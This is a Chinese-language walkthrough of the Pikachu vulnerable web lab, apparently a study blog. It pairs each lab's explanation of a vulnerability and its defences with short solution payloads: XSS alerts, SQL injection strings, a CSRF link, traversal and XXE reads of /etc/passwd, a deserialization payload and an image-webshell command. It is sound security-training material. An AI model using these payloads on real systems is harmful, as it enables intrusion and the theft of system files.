0x01.暴力破解
1 2 3 4 5 6 7 8 9 10 11
| Burte Force(暴力破解)概述 “暴力破解”是一攻击手段,在web攻击中,一般会使用这种手段对应用系统的认证信息进行获取。 其过程就是使用大量的认证信息在认证接口进行尝试登录,直到得到正确的结果。 为了提高效率,暴力破解一般会使用带有字典的工具来进行自动化操作。 理论上来说,大多数系统都是可以被暴力破解的,只要攻击者有足够强大的计算能力和时间,所以断定一个系统是否存在暴力破解漏洞,其条件也不是绝对的。 我们说一个web应用系统存在暴力破解漏洞,一般是指该web应用系统没有采用或者采用了比较弱的认证安全策略,导致其被暴力破解的“可能性”变的比较高。 这里的认证安全策略, 包括: 1.是否要求用户设置复杂的密码; 2.是否每次认证都使用安全的验证码(想想你买火车票时输的验证码~)或者手机otp; 3.是否对尝试登录的行为进行判断和限制(如:连续5次错误登录,进行账号锁定或IP地址锁定等); 4.是否采用了双因素认证;
|
01.基于表单的暴力破解
没有验证,直接爆破
02.验证码绕过(on server)
当验证码输入正确、为空和输入错误会是以下3种情况:
绕过的思路就是观察验证码会不是认证一次就刷新
这里更改用户名密码,不更改验证码,返回的结果均为账户密码错误,可以得出验证码不是认证一次刷新一次
接下来按照上一题进行爆破即可
03.验证码绕过(on client)
前端的验证直接bp抓包即可,同上
0x02.XSS
1 2 3 4 5 6 7 8 9 10 11 12 13
| XSS(跨站脚本)概述 Cross-Site Scripting 简称为“CSS”,为避免与前端叠成样式表的缩写"CSS"冲突,故又称XSS。 一般XSS可以分为如下几种常见类型: 1.反射性XSS; 2.存储型XSS; 3.DOM型XSS;
XSS漏洞一直被评估为web漏洞中危害较大的漏洞,在OWASP TOP10的排名中一直属于前三的江湖地位。 XSS是一种发生在前端浏览器端的漏洞,所以其危害的对象也是前端用户。 形成XSS漏洞的主要原因是程序对输入和输出没有做合适的处理,导致“精心构造”的字符输出在前端时被浏览器当作有效代码解析执行从而产生危害。 因此在XSS漏洞的防范上,一般会采用“对输入进行过滤”和“输出进行转义”的方式进行处理: 输入过滤:对输入进行过滤,不允许可能导致XSS攻击的字符输入; 输出转义:根据输出点的位置对输出到前端的内容进行适当转义;
|
01.反射型xss(get)
没有过滤直接打
1
| <script>alert(/xss/)</script>
|
02.反射型xss(post)
根据提示登入,直接打
1
| <script>alert(document.cookie)</script>
|
03.存储型xss
没有过滤直接打
1
| <script>alert(document.cookie)</script>
|
04.DOM型xss
测试发现输入的内容在<a>标签中,只有闭合a标签才可以插入任意代码
1
| ' onmouseover="alert(/xss/)">
|
05.DOM型xss-x
同上
06.xss 盲打
前台输入数据不会显示结果,只有登入到后台才会看到
每次刷新都会弹窗
07.xss过滤
过滤了script,使用大小写绕过即可
1
| <SCRIPT>alert(/xss/)</SCRIPT>
|
08.xss之htmlspecialchars
htmlspecialchars()函数将特殊字符转换为HTML实体
1 2 3 4 5
| & (和号)成为 & " (双引号)成为 " ' (单引号)成为 ' < (小于)成为 < > (大于)成为 >
|
1
| ' onmouseover='alert(/xss/)
|
09.xss之hre输出
点击触发代码
10.xss之js输出
1
| demo</script><script>alert(/xss/)</script>
|
0x03.CSRF
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29
| CSRF(跨站请求伪造)概述 Cross-site request forgery 简称为“CSRF”, 在CSRF的攻击场景中攻击者会伪造一个请求(这个请求一般是一个链接), 然后欺骗目标用户进行点击,用户一旦点击了这个请求,整个攻击就完成了。 所以CSRF攻击也成为"one click"攻击。 很多人搞不清楚CSRF的概念,甚至有时候会将其和XSS混淆, 更有甚者会将其和越权问题混为一谈,这都是对原理没搞清楚导致的。 这里列举一个场景解释一下,希望能够帮助你理解。 场景需求: 小黑想要修改大白在购物网站tianxiewww.xx.com上填写的会员地址。 先看下大白是如何修改自己的密码的: 登录---修改会员信息,提交请求---修改成功。 所以小黑想要修改大白的信息,他需要拥有:1,登录权限 2,修改个人信息的请求。 但是大白又不会把自己xxx网站的账号密码告诉小黑,那小黑怎么办? 于是他自己跑到www.xx.com上注册了一个自己的账号,然后修改了一下自己的个人信息(比如:E-mail地址),他发现修改的请求是: 【http://www.xxx.com/edit.php?email=xiaohei@88.com&Change=Change】 于是,他实施了这样一个操作:把这个链接伪装一下,在小白登录xxx网站后,欺骗他进行点击,小白点击这个链接后,个人信息就被修改了,小黑就完成了攻击目的。 为啥小黑的操作能够实现呢。有如下几个关键点: 1.www.xxx.com这个网站在用户修改个人的信息时没有过多的校验,导致这个请求容易被伪造; ---因此,我们判断一个网站是否存在CSRF漏洞,其实就是判断其对关键信息(比如密码等敏感信息)的操作(增删改)是否容易被伪造。 2.小白点击了小黑发给的链接,并且这个时候小白刚好登录在购物网上; ---如果小白安全意识高,不点击不明链接,则攻击不会成功,又或者即使小白点击了链接,但小白此时并没有登录购物网站,也不会成功。 ---因此,要成功实施一次CSRF攻击,需要“天时,地利,人和”的条件。 当然,如果小黑事先在xxx网的首页如果发现了一个XSS漏洞,则小黑可能会这样做: 欺骗小白访问埋伏了XSS脚本(盗取cookie的脚本)的页面,小白中招,小黑拿到小白的cookie,然后小黑顺利登录到小白的后台,小黑自己修改小白的相关信息。 ---所以跟上面比一下,就可以看出CSRF与XSS的区别:CSRF是借用户的权限完成攻击,攻击者并没有拿到用户的权限,而XSS是直接盗取到了用户的权限,然后实施破坏。 因此,网站如果要防止CSRF攻击,则需要对敏感信息的操作实施对应的安全措施,防止这些操作出现被伪造的情况,从而导致CSRF。比如: --对敏感信息的操作增加安全的token; --对敏感信息的操作增加安全的验证码; --对敏感信息的操作实施安全的逻辑流程,比如修改密码时,需要先校验旧密码等。
|
01.CSRF(get)
lili登入,get传参
伪造连接让kobe点击
1
| http://81.70.195.159:8001/vul/csrf/csrfget/csrf_get_edit.php?sex=demo&phonenum=110&add=demo&email=demo%40qq.com&submit=submit
|
02.CSRF(post)
这回用kobe欺骗lili
生成POC,让lili点
lili登入,lili点击
修改成功
03.CSRF token
查看源码
0x04.Sql Inject
1 2 3 4 5 6 7 8 9 10
| 在owasp发布的top10排行榜里,注入漏洞一直是危害排名第一的漏洞,其中注入漏洞里面首当其冲的就是数据库注入漏洞。 一个严重的SQL注入漏洞,可能会直接导致一家公司破产! SQL注入漏洞主要形成的原因是在数据交互中,前端的数据传入到后台处理时,没有做严格的判断, 导致其传入的“数据”拼接到SQL语句中后,被当作SQL语句的一部分执行。 从而导致数据库受损(被脱裤、被删除、甚至整个服务器权限沦陷)。 在构建代码时,一般会从如下几个方面的策略来防止SQL注入漏洞: 1.对传进SQL语句里面的变量进行过滤,不允许危险字符传入; 2.使用参数化(Parameterized Query 或 Parameterized Statement); 3.还有就是,目前有很多ORM框架会自动使用参数化解决注入问题,但其也提供了"拼接"的方式,所以使用时需要慎重!
|
01.数字型注入(post)
一共两个字段,爆表爆字段不在赘述
02.字符型注入(get)
闭合单引号
1
| 127.0.0.1/vul/sqli/sqli_str.php?name=admin' or '1'='1&submit=查询
|
03.搜索型注入
直接输入%%即可,%%表示查询列有不为null的全部值
04.xx型注入
闭合字符为') 同第一题
1
| 127.0.0.1/vul/sqli/sqli_str.php?name=admin') or 1=1 -- -&submit=查询
|
05.insert/update注入
注册点存在注入
1
| username=admon' or updatexml(1,concat(0x7e,database()),0) or '
|
06.delete注入
同上
注入点为user-agent/cookie
08.盲注(base boolian)
逐字爆破数据库第一个字母为p
1
| kobe' and left((select database()),1)='a'-- -
|
09.盲注(base time)
输入什么都只有一个回显
1
| kobe' and if(length(database())=7,sleep(5),1)-- -
|
10.宽字节注入
payload
kobe%e0’ or 1=1 – -
0x05.RCE
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| RCE(remote command/code execute)概述RCE漏洞, 可以让攻击者直接向后台服务器远程注入操作系统命令或者代码, 从而控制后台系统。远程系统命令执行一般出现这种漏洞, 是因为应用系统从设计上需要给用户提供指定的远程命令操作的接口比如我们常见的路由器、防火墙、入侵检测等设备的web管理界面上一般会给用户提供一个ping操作的web界面, 用户从web界面输入目标IP,提交后,后台会对该IP地址进行一次ping测试,并返回测试结果。 而,如果,设计者在完成该功能时,没有做严格的安全控制, 则可能会导致攻击者通过该接口提交“意想不到”的命令,从而让后台进行执行, 从而控制整个后台服务器现在很多的甲方企业都开始实施自动化运维,大量的系统操作会通过"自动化运维平台"进行操作。 在这种平台上往往会出现远程系统命令执行的漏洞,不信的话现在就可以找你们运维部的系统测试一下, 会有意想不到的"收获"-_-远程代码执行同样的道理,因为需求设计, 后台有时候也会把用户的输入作为代码的一部分进行执行,也就造成了远程代码执行漏洞。 不管是使用了代码执行的函数,还是使用了不安全的反序列化等等。 因此,如果需要给前端用户提供操作类的API接口, 一定需要对接口输入的内容进行严格的判断,比如实施严格的白名单策略会是一个比较好的方法。
|
01.exec(ping)
简单的命令执行
02.exec(eval)
响应php代码
0x06.文件包含
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| File Inclusion(文件包含漏洞)概述文件包含,是一个功能。 在各种开发语言中都提供了内置的文件包含函数, 其可以使开发人员在一个代码文件中直接包含(引入)另外一个代码文件。 比如 在PHP中,提供了:include(),include_once()require(),require_once()这些文件包含函数, 这些函数在代码设计中被经常使用到。 大多数情况下,文件包含函数中包含的代码文件是固定的,因此也不会出现安全问题。 但是,有些时候,文件包含的代码文件被写成了一个变量,且这个变量可以由前端用户传进来, 这种情况下,如果没有做足够的安全考虑,则可能会引发文件包含漏洞。 攻击着会指定一个“意想不到”的文件让包含函数去执行,从而造成恶意操作。 根据不同的配置环境, 文件包含漏洞分为如下两种情况: 1.本地文件包含漏洞:仅能够对服务器本地的文件进行包含, 由于服务器上的文件并不是攻击者所能够控制的,因此该情况下, 攻击着更多的会包含一些 固定的系统配置文件,从而读取系统敏感信息。 很多时候本地文件包含漏洞会结合一些特殊的文件上传漏洞,从而形成更大的威力。 2.远程文件包含漏洞:能够通过url地址对远程的文件进行包含, 这意味着攻击者可以传入任意的代码,这种情况没啥好说的,准备挂彩。 因此,在web应用系统的功能设计上尽量不要让前端用户直接传变量给包含函数, 如果非要这么做,也一定要做严格的白名单策略进行过滤。
|
01.本地文件包含
02.远程文件包含
nothing
0x07.不安全的文件下载
1 2 3 4 5 6 7 8 9
| 不安全的文件下载概述文件下载功能在很多web系统上都会出现, 一般我们当点击下载链接,便会向后台发送一个下载请求,一般这个请求会包含一个需要下载的文件名称, 后台在收到请求后 会开始执行下载代码,将该文件名对应的文件response给浏览器,从而完成下载。 如果后台在收到请求的文件名后,将其直接拼进下载文件的路径中而不对其进行安全判断的话, 则可能会引发不安全的文件下载漏洞。此时如果 攻击者提交的不是一个程序预期的的文件名, 而是一个精心构造的路径(比如../../../etc/passwd),则很有可能会直接将该指定的文件下载下来。 从而导致后台敏感信息(密码文件、源代码等)被下载。所以,在设计文件下载功能时, 如果下载的目标文件是由前端传进来的,则一定要对传进来的文件进行安全考虑。 切记:所有与前端交互的数据都是不安全的,不能掉以轻心!
|
0x08.不安全的文件上传
1 2 3 4 5 6 7 8 9
| 不安全的文件上传漏洞概述文件上传功能在web应用系统很常见, 比如很多网站注册的时候需要上传头像、上传附件等等。当用户点击上传按钮后, 后台会对上传的文件进行判断 比如是否是指定的类型、后缀名、大小等等, 然后将其按照设计的格式进行重命名后存储在指定的目录。 如果说后台对上传的文件没有进行任何的安全判断或者判断条件不够严谨, 则攻击着可能会上传一些恶意的文件,比如一句话木马,从而导致后台服务器被webshell。 所以,在设计文件上传功能时,一定要对传进来的文件进行严格的安全考虑。 比如:--验证文件类型、后缀名、大小;--验证文件的上传方式; --对文件进行一定复杂的重命名;--不要暴露文件上传后的路径;--等等...
|
01.client check
抓包改名即可
蚁剑连接
02.MIME type
抓包修改文件类型即可
1 2 3 4 5 6 7 8 9 10 11 12 13
| 常见的MIME类型超文本标记语言文本 .html,.html text/html普通文本 .txt text/plainRTF文本 .rtf application/rtfGIF图形 .gif image/gifJPEG图形 .ipeg,.jpg image/jpegau声音文件 .au audio/basicMIDI音乐文件 .mid,.midi audio/midi,audio/x-midiRealAudio音乐文件 .ra, .ram audio/x-pn-realaudioMPEG文件 .mpg,.mpeg video/mpegAVI文件 .avi video/x-msvideoGZIP文件 .gz application/x-gzipTAR文件 .tar application/x-tar
|
03.getimagesize
1 2 3 4
| 这个函数功能会对目标文件的16进制去进行一个读取, 去读取头几个字符串是不是符合图片的要求的, 所以不能通过修改content-type来达到目的, 需要将一句话放入一张真正的图片 copy shell.jpg/b + shell.php/b shell.jpg
|
包含这个图片马,再用蚁剑连接
0x09.越权
1 2 3 4 5 6 7 8 9
| 如果使用A用户的权限去操作B用户的数据,A的权限小于B的权限, 如果能够成功操作,则称之为越权操作。 越权漏洞形成的原因是后台使用了不合理的权限校验规则导致的。 一般越权漏洞容易出现在权限页面(需要登录的页面)增、删、改、查的的地方, 当用户对权限页面内的信息进行这些操作时,后台需要对 对当前用户的权限进行校验, 看其是否具备操作的权限,从而给出响应,而如果校验的规则过于简单则容易出现越权漏洞。 因此,在在权限管理中应该遵守: 1.使用最小权限原则对用户进行赋权; 2.使用合理(严格)的权限校验规则; 3.使用后台登录态作为条件进行权限判断,别动不动就瞎用前端传进来的条件。
|
01.水平越权
修改username值可以发现可以查看任意用户信息
02.垂直越权
使用pikachu登入访问vul/overpermission/op2/op2_admin_edit.php
0x10.目录遍历
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| 目录遍历漏洞概述 在web功能设计中,很多时候我们会要将需要访问的文件定义成变量, 从而让前端的功能便的更加灵活。 当用户发起一个前端的请求时, 便会将请求的这个文件的值(比如文件名称)传递到后台,后台再执行其对应的文件。 在这个过程中,如果后台没有对前端传进来的值进行严格的安全考虑, 则攻击者可能会通过“../”这样的手段让后台打开或者执行一些其他的文件。 从而导致后台服务器上其他目录的文件结果被遍历出来,形成目录遍历漏洞。 看到这里,你可能会觉得目录遍历漏洞和不安全的文件下载, 甚至文件包含漏洞有差不多的意思, 是的,目录遍历漏洞形成的最主要的原因跟这两者一样, 都是在功能设计中将要操作的文件使用变量的 方式传递给了后台, 而又没有进行严格的安全考虑而造成的,只是出现的位置所展现的现象不一样, 因此,这里还是单独拿出来定义一下。 需要区分一下的是, 如果你通过不带参数的url(比如:http://xxxx/doc)列出了doc文件夹里面所有的文件, 这种情况,我们成为敏感信息泄露。 而并不归为目录遍历漏洞。
|
?title=../../../../../../../etc/passwd
0x11.敏感信息泄露
1 2 3 4 5 6 7 8 9 10 11 12
| 敏感信息泄露概述 由于后台人员的疏忽或者不当的设计,导致不应该被前端用户看到的数据被轻易的访问到。 比如: ---通过访问url下的目录,可以直接列出目录下的文件列表; ---输入错误的url参数后报错信息里面包含操作系统、中间件、开发语言的版本或其他信息; ---前端的源码(html,css,js)里面包含了敏感信息,比如后台登录地址、内网接口信息、甚至账号密码等; 类似以上这些情况,我们成为敏感信息泄露。 敏感信息泄露虽然一直被评为危害比较低的漏洞, 但这些敏感信息往往给攻击着实施进一步的攻击提供很大的帮助, 甚至“离谱”的敏感信息泄露也会直接造成严重的损失。 因此,在web应用的开发上,除了要进行安全的代码编写, 也需要注意对敏感信息的合理处理。
|
查看源码发现用户 lili/123456
0x12.PHP反序列化
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52
| 在理解这个漏洞前,你需要先搞清楚php中serialize(),unserialize()这两个函数。
序列化serialize() 序列化说通俗点就是把一个对象变成可以传输的字符串,比如下面是一个对象: class S{ public $test="pikachu"; } $s=new S(); //创建一个对象 serialize($s); //把这个对象进行序列化 序列化后得到的结果是这个样子的:O:1:"S":1:{s:4:"test";s:7:"pikachu";} O:代表object 1:代表对象名字长度为一个字符 S:对象的名称 1:代表对象里面有一个变量 s:数据类型 4:变量名称的长度 test:变量名称 s:数据类型 7:变量值的长度 pikachu:变量值 反序列化unserialize() 就是把被序列化的字符串还原为对象,然后在接下来的代码中继续使用。
$u=unserialize("O:1:"S":1:{s:4:"test";s:7:"pikachu";}"); echo $u->test; //得到的结果为pikachu 序列化和反序列化本身没有问题,但是如果反序列化的内容是用户可以控制的,且后台不正当的使用了PHP中的魔法函数,就会导致安全问题
常见的几个魔法函数: __construct()当一个对象创建时被调用
__destruct()当一个对象销毁时被调用
__toString()当一个对象被当作一个字符串使用
__sleep() 在对象在被序列化之前运行
__wakeup将在序列化之后立即被调用
漏洞举例:
class S{ var $test = "pikachu"; function __destruct(){ echo $this->test; } } $s = $_GET['test']; @$unser = unserialize($a);
payload:O:1:"S":1:{s:4:"test";s:29:"<script>alert('xss')</script>";}
|
0x13.XXE
1 2 3 4 5 6 7 8 9 10 11 12
| XXE -"xml external entity injection" 既"xml外部实体注入漏洞"。 概括一下就是 "攻击者通过向服务器注入指定的xml实体内容,从而让服务器按照指定的配置进行执行,导致问题" 也就是说服务端接收和解析了来自用户端的xml数据, 而又没有做严格的安全控制,从而导致xml外部实体注入。
具体的关于xml实体的介绍,网络上有很多,自己动手先查一下。 现在很多语言里面对应的解析xml的函数默认是禁止解析外部实体内容的,从而也就直接避免了这个漏洞。 以PHP为例,在PHP里面解析xml用的是libxml,其在≥2.9.0的版本中,默认是禁止解析xml外部实体内容的。
本章提供的案例中,为了模拟漏洞,通过手动指定LIBXML_NOENT选项开启了xml外部实体解析。
|
1 2 3 4
| <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE name [ <!ENTITY xxe SYSTEM "file:///etc/passwd">]> <name>&xxe;</name>
|
0x14.URL重定向
1 2 3 4 5 6 7 8
| 不安全的url跳转
不安全的url跳转问题可能发生在一切执行了url地址跳转的地方。 如果后端采用了前端传进来的(可能是用户传参,或者之前预埋在前端页面的url地址)参数作为了跳转的目的地,而又没有做判断的话 就可能发生"跳错对象"的问题。
url跳转比较直接的危害是: -->钓鱼,既攻击者使用漏洞方的域名(比如一个比较出名的公司域名往往会让用户放心的点击)做掩盖,而最终跳转的确实钓鱼网站
|
0x15.SSRF
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| SSRF(Server-Side Request Forgery:服务器端请求伪造) 其形成的原因大都是由于服务端提供了从其他服务器应用获取数据的功能,但又没有对目标地址做严格过滤与限制
导致攻击者可以传入任意的地址来让后端服务器对其发起请求,并返回对该目标地址请求的数据
数据流:攻击者----->服务器---->目标地址
根据后台使用的函数的不同,对应的影响和利用方法又有不一样 PHP中下面函数的使用不当会导致SSRF: file_get_contents() fsockopen() curl_exec() 如果一定要通过后台服务器远程去对用户指定("或者预埋在前端的请求")的地址进行资源请求,则请做好目标地址的过滤。
|
01.SSRF(curl)
可以测开放的端口
02.SSRF(file_get_content)